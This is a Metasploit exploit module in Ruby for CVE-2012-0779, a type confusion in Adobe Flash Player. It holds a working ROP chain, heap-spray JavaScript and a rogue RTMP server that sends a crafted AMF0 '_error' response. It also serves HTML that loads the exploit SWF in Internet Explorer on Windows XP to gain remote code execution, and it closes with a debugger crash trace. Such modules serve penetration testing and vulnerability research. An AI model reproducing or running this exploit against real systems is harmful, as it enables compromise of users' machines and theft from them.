## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "8.0", :method => "GetVariable", :classid => "ShockwaveFlash.ShockwaveFlash", :rank => NormalRanking, # reliable memory corruption :javascript => true }) def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Object Type Confusion", 'Description' => %q{ This module exploits a vulnerability found in Adobe Flash Player. By supplying a corrupt AMF0 "_error" response, it is possible to gain arbitrary remote code execution under the context of the user. This vulnerability has been exploited in the wild as part of the "World Uyghur Congress Invitation.doc" e-mail attack. According to the advisory, 10.3.183.19 and 11.x before 11.2.202.235 are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0779' ], [ 'OSVDB', '81656'], [ 'BID', '53395' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info [ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ] ], 'Payload' => { #'Space' => 1024, 'BadChars' => "\x00" }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Flash Player 11.2.202.228 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'RandomHeap' => false, 'Offset' => '0x0' } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'RandomHeap' => false, 'Offset' => '0x0' } ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt, 'RandomHeap' => false, 'Offset' => '238', 'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll } ] ], 'Privileged' => false, 'DisclosureDate' => "May 04 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]), OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]), ], self.class ) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 else return nil end end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end def ret(t) return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll end def popret(t) return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll end def get_rop_chain(t) # ROP chains generated by mona.py - See corelan.be print_status("Using msvcrt ROP") rop = [ 0x77c4e392, # POP EAX # RETN 0x77c11120, # <- *&VirtualProtect() 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77c2dd6c, 0x77c4ec00, # POP EBP # RETN 0x77c35459, # ptr to 'push esp # ret' 0x77c47705, # POP EBX # RETN 0x00001000, # EBX 0x77c3ea01, # POP ECX # RETN 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) 0x77c46100, # POP EDI # RETN 0x77c46101, # ROP NOP (-> edi) 0x77c4d680, # POP EDX # RETN 0x00000040, # newProtect (0x40) (-> edx) 0x77c4e392, # POP EAX # RETN nop, # NOPS (-> eax) 0x77c12df9, # PUSHAD # RETN ].pack("V*") code = ret(t) code << rand_text(119) code << rop code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem code << payload.encoded offset = 2616 - code.length code << rand_text(offset) code << [ t['StackPivot'] ].pack("V") return code end def get_easy_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x185; z++) { heap_obj.alloc(block); } JS return spray end def get_aligned_spray(t, js_rop, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var nops = unescape("#{js_nops}"); var rop_chain = unescape("#{js_rop}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x1c5; z++) { heap_obj.alloc(block); } JS return spray end def exploit @swf = create_swf # Boilerplate required to handled pivoted listeners comm = datastore['ListenerComm'] if comm == "local" comm = ::Rex::Socket::Comm::Local else comm = nil end @rtmp_listener = Rex::Socket::TcpServer.create( 'LocalHost' => datastore['RTMPHOST'], 'LocalPort' => datastore['RTMPPORT'], 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self, } ) # Register callbacks @rtmp_listener.on_client_connect_proc = Proc.new { |cli| add_socket(cli) print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP") on_rtmp_connect(cli) } @rtmp_listener.start super end def my_read(cli,size,timeout=nil) if timeout.nil? timeout = cli.def_read_timeout end buf = "" ::Timeout::timeout(timeout) { while buf.length < size buf << cli.get_once(size - buf.length) end } buf end def do_handshake(cli) c0 = my_read(cli, 1) c1 = my_read(cli, 1536) # HandshakeSize => 1536 s0 = "\3" # s0 s1 = Rex::Text.rand_text(4) # s1.time s1 << "\x00\x00\x00\x00" # s1.zero s1 << Rex::Text.rand_text(1528) # s1.random_data s2 = c1 # s2 cli.put(s0) cli.put(s1) cli.put(s2) c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536) end def on_rtmp_connect(cli) begin do_handshake(cli) request = my_read(cli, 341) # connect request length case request when /connect/ rtmp_header = "\x03" # Chunk Stream ID rtmp_header << "\x00\x00\x00" # Timestamp rtmp_header << "\x00\x00\x71" # Body Size rtmp_header << "\x14" # AMF0 Command rtmp_header << "\x00\x00\x00\x00" # Stream ID # String rtmp_body = "\x02" # String rtmp_body << "\x00\x06" # String length rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number # Array rtmp_body << "\x0a" # AMF Type: Array rtmp_body << "\x00\x00\x00\x05" # Array length: 5 # Array elements rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Crafter Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number trigger = rtmp_header trigger << rtmp_body cli.put(trigger) @rtmp_listener.close_client(cli) end rescue ensure @rtmp_listener.close_client(cli) remove_socket(cli) end end def cleanup super return if not @rtmp_listener begin @rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service) if @rtmp_listener.kind_of?(Rex::Socket) @rtmp_listener.close @rtmp_listener.stop end @rtmp_listener = nil rescue ::Exception end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end print_status("Client requesting: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending Exploit SWF") send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' }) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) if not my_target['Rop'].nil? js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) js = get_aligned_spray(my_target, js_rop, js_nops) else js = get_easy_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf" if datastore['RTMPHOST'] == '0.0.0.0' rtmp_host = Rex::Socket.source_address('1.2.3.4') else rtmp_host = datastore['RTMPHOST'] end rtmp_port = datastore['RTMPPORT'] html = %Q| <html> <head> <script> #{js} </script> </head> <body> <center> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="test" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <param name="movie" value="#{swf_uri}" /> <param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}" <embed src="#{swf_uri}" quality="high" width="1" height="1" name="test" align="middle" allowNetworking="all" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}"> </embed> </object> </center> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end def create_swf path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" ) fd = ::File.open( path, "rb" ) swf = fd.read(fd.stat.size) fd.close return swf end end =begin * Flash Player 11.2.202.228 (348.540): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000 eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202 Flash32_11_2_202_228!DllUnregisterServer+0x300e84: 104b1b2d 8b422c mov eax,dword ptr [edx+2Ch] ds:0023:44444470=???????? 0:000> u eip Flash32_11_2_202_228!DllUnregisterServer+0x300e84: 104b1b2d 8b422c mov eax,dword ptr [edx+2Ch] 104b1b30 53 push ebx 104b1b31 ffd0 call eax =end